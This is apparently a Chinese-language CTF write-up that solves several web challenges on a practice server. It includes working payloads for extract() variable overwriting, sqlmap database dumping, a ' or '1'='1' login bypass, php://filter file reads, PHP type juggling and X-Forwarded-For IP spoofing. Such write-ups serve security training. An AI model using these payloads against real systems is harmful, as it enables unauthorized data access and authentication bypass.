签到题(代码审计-extract变量覆盖)
很明显是一道关于extract变量覆盖的代码审计题。
需要满足下面两个条件:
- 利用extract传入空值覆盖$b和$a的值
- 还要满足$a==$c
Payload:
http://123.206.31.85:10001/?b=&a=
得到flag。
WEB1(SQL注入)
看到留言本很自然就想到SQL注入。
抓包保存为txt文件,sqlmap跑:
sqlmap.py -r 1.txt --current-db
sqlmap.py -r 1.txt -D web5 --tables
sqlmap.py -r 1.txt -D web5 -T flag --dump
WEB2(万能语句登陆框)
一看就知道是sql注入题,用户名构造万能密码:'or '1' = '1' # 密码任意 得到flag。
WEB3(文件包含+php伪协议)
刚开始看到这道题的时候还以为是文件上传,但其实是考察文件包含漏洞+php伪协议。
从url的 ?op=upload 其实就可以猜测出,只是把原本的file替换成了op。
Payload:
http://123.206.31.85:10003/?op=php://filter/read=convert.base64-encode/resource=flag
base64解码:
得到flag。
WEB4(脚本题)
说到快就得写脚本了。
# -*- coding:utf-8 -*-
import requests
import re
url = "http://123.206.31.85:10002/index.php"
session = requests.session()
r = session.post(url)
html = r.text
key = re.findall('(.*)</p>', html)
for i in key:
r2 = session.post('http://123.206.31.85:10002/index.php',data ={'result':eval(i)})
print(r2.text)
运行得到flag。
WEB5(md5验证)
根据页面title提示robots,访问robots.txt。
访问shell.php
<?php
$a = 0;
for($a; $a<100000000; $a++){
if(substr(md5($a),0,6) == '52aa16'){
echo $a;
exit();
}
}
?>
执行后得到9288。
得到flag。
vim编辑器(备份文件+代码审计)
根据提示,观察url发现这是1ndex.php,而不是index.php。
抓包,修改为index.php,发现302跳转:
根据这道题的名字猜测,既然是用vim写的或许会有临时文件,果然在index.php~找到了。
<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
header('location:./1ndex.php');
}else{
$id = $_GET['id'];
if (!is_numeric($id)) {
$id = intval($id);
switch ($id) {
case $id>=0:
echo "快出去吧,走错路了~~~<br>";
echo "这么简单都不会么?";
break;
case $id>=10:
exit($flag);
break;
default:
echo "你走不到这一步的!";
break;
}
}
}
?>
代码审计。
Payload:
http://123.206.31.85:10015/index.php?id="10a"
WEB7(伪造ip)
进到页面后,查看一下源码。
结果找到这个:
base64解码后:
test123
尝试登陆,提示ip禁止访问:
猜测有可能需要本地访问,因此用火狐的 X-Forwarded-For Header插件 伪造127.0.0.1。
得到flag。